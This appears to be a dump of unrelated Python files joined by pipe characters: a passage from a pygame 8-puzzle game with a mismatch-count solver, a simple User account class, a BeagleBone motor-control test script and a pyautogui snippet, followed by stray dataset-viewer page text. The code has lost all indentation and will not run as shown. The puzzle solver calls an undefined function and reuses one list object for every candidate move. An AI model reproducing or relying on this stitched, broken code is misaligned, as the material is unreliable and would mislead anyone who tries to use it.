posit=search2((blank[0],blank[1]+1))
squar[posit].pos=(squar[posit].pos[0],
squar[posit].pos[1]-1)
if blank[1]<2:
blank=(blank[0],blank[1]+1)
if dir=='r':
posit=search2((blank[0]-1,blank[1]))
squar[posit].pos=(squar[posit].pos[0]+1,
squar[posit].pos[1])
if blank[0]>0:
blank=(blank[0]-1,blank[1])
if dir=='l':
posit=search2((blank[0]+1,blank[1]))
squar[posit].pos=(squar[posit].pos[0]-1,
squar[posit].pos[1])
if blank[0]<2:
blank=(blank[0]+1,blank[1])
except:
pass
def move_squares(dir):
global blank,temp_squares,squares
try:
if dir=='d':
posit=search((blank[0],blank[1]-1))
squares[posit].pos=(squares[posit].pos[0],
squares[posit].pos[1]+1)
if blank[1]>0:
blank=(blank[0],blank[1]-1)
if dir=='u':
posit=search((blank[0],blank[1]+1))
squares[posit].pos=(squares[posit].pos[0],
squares[posit].pos[1]-1)
if blank[1]<2:
blank=(blank[0],blank[1]+1)
if dir=='r':
posit=search((blank[0]-1,blank[1]))
squares[posit].pos=(squares[posit].pos[0]+1,
squares[posit].pos[1])
if blank[0]>0:
blank=(blank[0]-1,blank[1])
if dir=='l':
posit=search((blank[0]+1,blank[1]))
squares[posit].pos=(squares[posit].pos[0]-1,
squares[posit].pos[1])
if blank[0]<2:
blank=(blank[0]+1,blank[1])
except:
pass
def move_squares2(dir):
global blank,temp_squares
try:
if dir=='d':
posit=search((blank[0],blank[1]-1))
temp_squares[posit].pos=(temp_squares[posit].pos[0],
temp_squares[posit].pos[1]+1)
if blank[1]>0:
blank=(blank[0],blank[1]-1)
if dir=='u':
posit=search((blank[0],blank[1]+1))
temp_squares[posit].pos=(temp_squares[posit].pos[0],
temp_squares[posit].pos[1]-1)
if blank[1]<2:
blank=(blank[0],blank[1]+1)
if dir=='r':
posit=search((blank[0]-1,blank[1]))
temp_squares[posit].pos=(temp_squares[posit].pos[0]+1,
temp_squares[posit].pos[1])
if blank[0]>0:
blank=(blank[0]-1,blank[1])
if dir=='l':
posit=search((blank[0]+1,blank[1]))
temp_squares[posit].pos=(temp_squares[posit].pos[0]-1,
temp_squares[posit].pos[1])
if blank[0]<2:
blank=(blank[0]+1,blank[1])
except:
pass
def shuffle(n):
for i in range(n):
move_squares(random.choice(['u','d','r','l']))
move_squares2(random.choice(['u','d','r','l']))
def check_solve():
global solved_state,solved
i=0
solved=True
for s in squares:
if s.pos!=solved_state[i]:
solved=False
i+=1
if solved==True:
text = STAT_FONT.render("SOLVED,congratutions",1, (0,0,0))
gameDisplay.blit(text, (200,550))
def check_heuristic():
global squar
heuris=0
i=0
for s in squar:
# print(s.pos)
if s.pos!=solved_state[i]:
heuris+=1
i+=1
return heuris
def check_solution():
global solved_state,temp_squares
i=0
solved=True
print("--------------------")
for s in temp_squares:
if s.pos!=solved_state[i]:
solved=False
i+=1
if solved==True:
return True
else:
return False
def heuristic():
#possible cases left right top down
#we are using number of mismatch heuristic
global solved_state,solved,squares,temp_squares,squar
heuristics=[]
# print(squares[0].pos)
# for x,s in enumerate(squares):
# temp_squares[x].pos=s.pos
# for s in temp_squares:
# print(s.pos)
# print(temp_squares[0].pos)
cases=[]
possible_moves=['u','d','r','l']
solution=[]
while check_solution()==False:
for mov in possible_moves:
move_squares_solution(mov)
for s in squar:
print(s.pos)
# print(sample[0].pos)
print("-"*50)
cases.append(squar)
heuristics.append(check_heuristic())
print(heuristics)
temp_squares=cases[heuristics.index(min(heuristics))]
solution.append(possible_moves[heuristics.index(min(heuristics))])
print(possible_moves[heuristics.index(min(heuristics))])
heuristics=[]
print(solution)
if __name__=="__main__":
blank=(2,2)
solved=True
squares=[]
squar=[]
temp_squares=[]
info_squares=[]
solved_state=[(0,0),(1,0),(2,0),(0,1),(1,1),(2,1),(0,2),(1,2)]
#making squares:
num=0
for i in range(3):
for j in range(3):
num+=1
squares.append(square(num,(j,i)))
num=0
for i in range(3):
for j in range(3):
num+=1
temp_squares.append(square(num,(j,i)))
num=0
for i in range(3):
for j in range(3):
num+=1
info_squares.append(model_square(num,(j,i)))
num=0
for i in range(3):
for j in range(3):
num+=1
squar.append(square(num,(j,i)))
squar.pop(8)
squares.pop(8)
info_squares.pop(8)
temp_squares.pop(8)
shuffle(10000)
moves=0
gamePlay=True
timer=0
heuristic()
start=time.time()
while gamePlay:
# gameDisplay.fill(blue)
draw_background()
board()
info_board()
check_solve()
text = STAT_FONT.render("moves : "+str(moves),1, (255,255,255))
gameDisplay.blit(text, (550,70))
stop=time.time()
if solved==False:
timer_txt = STAT_FONT.render("time : "+str('%.1f'%(stop-start))+" sec",1, (255,255,255))
timer=stop-start
gameDisplay.blit(timer_txt, (20,70))
else:
timer_txt = STAT_FONT.render("time taken : "+str('%.1f'%(timer))+" sec",1, (255,255,255))
gameDisplay.blit(timer_txt, (20,70))
for sq in squares:
sq.draw_square()
for model in info_squares:
model.draw_square()
for event in pygame.event.get():
if event.type==pygame.QUIT:
gamePlay=False
# if solved==False:
# if event.type==pygame.KEYDOWN:
# if event.key==pygame.K_w:
# move_squares('u')
# moves+=1
# if event.key==pygame.K_s:
# move_squares('d')
# moves+=1
# if event.key==pygame.K_d:
# move_squares('r')
# moves+=1
# if event.key==pygame.K_a:
# move_squares('l')
# moves+=1
pygame.display.update()
|
class User:
'''
Class that generates intances of a user
'''
user_list=[]
def __init__(self,accountname,accountpassword):
self.accountname = accountname
self.accountpassword= accountpassword
def saveuser(self):
'''
method that saves user object to user list
'''
User.user_list.append(self)
def delete_user(self):
'''
delete_user method removes a saved user from user list
'''
User.user_list.remove(self)
@classmethod
def find_by_name(cls,name):
'''
Method that takes in a accountname and returns an account that matches that name.
Args:
name: name that matches account
Returns :
account of person that matches the name.
'''
for user in cls.user_list:
if user.accountname == name:
return user
@classmethod
def user_exists(cls,name):
'''
Method that checks if a user exists from the user list.
Args:
number: name to search if it exists
Returns :
Boolean: True or false depending if the user exists
'''
for user in cls.user_list:
if user.accountname == name:
return True
return False |
#! /usr/bin/env python
###############################################################################
# BBB_BasicMotorControl.py
#
# Basic test of motor control using the SparkFun TB6612FNG breakout board
# http://sfe.io/p9457
#
# Requires - Adafruit BeagleBone IO Python library
#
# NOTE: Any plotting is set up for output, not viewing on screen.
# So, it will likely be ugly on screen. The saved PDFs should look
# better.
#
# Created: 01/09/15
# - Joshua Vaughan
# - joshua.vaughan@louisiana.edu
# - http://www.ucs.louisiana.edu/~jev9637
#
# Modified:
# *
#
###############################################################################
import Adafruit_BBIO.GPIO as GPIO
import Adafruit_BBIO.PWM as PWM
import time
STBY = 'P8_9' # STBY pin on the breakout, must go low to enable motion
A01 = 'P8_7' # A01 pin on board, controls direction along with A02
A02 = 'P8_8' # A02 pin on board, controls direction along with A01
# PWMA = 'P8_13' # PWMA pin on board, controls the speed of Motor A
# # Set up the pins - These are mutable, but *don't* change them
# STBY = 'P8_45' # STBY pin on the breakout, must go low to enable motion
# A01 = 'P8_46' # A01 pin on board, controls direction along with A02
# A02 = 'P8_43' # A02 pin on board, controls direction along with A01
PWMA = 'P9_14' # PWMA pin on board, controls the speed of Motor A
# Set up the GPIO pins as output
GPIO.setup(STBY, GPIO.OUT)
GPIO.setup(A01, GPIO.OUT)
GPIO.setup(A02, GPIO.OUT)
# GPIO.setup('P9_22', GPIO.OUT)
# while True:
# GPIO.output('P9_22', GPIO.LOW)
# print'low'
# time.sleep(3)
# GPIO.output('P9_22', GPIO.HIGH)
# print 'high'
# time.sleep(3)
# Standby pin should go high to enable motion
GPIO.output(STBY, GPIO.HIGH)
# A01 and A02 have to be opposite to move, toggle to change direction
GPIO.output(A01, GPIO.HIGH)
GPIO.output(A02, GPIO.LOW)
# Start the motor
# PWM.start(channel, duty, freq=2000, polarity=0)
PWM.start(PWMA, 50)
# optionally, change the PWM frequency and polarity from their defaults
# PWM.start("P9_14", 50, 1000, 1)
# Run the motor for 10s
time.sleep(5)
# Stop the motor and cleanup the PWM
PWM.stop(PWMA)
PWM.cleanup()
# Make standby pin low to go back into standby mode
GPIO.output(STBY, GPIO.LOW) |
import pyautogui
size=pyautogui.size()
print(size) |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.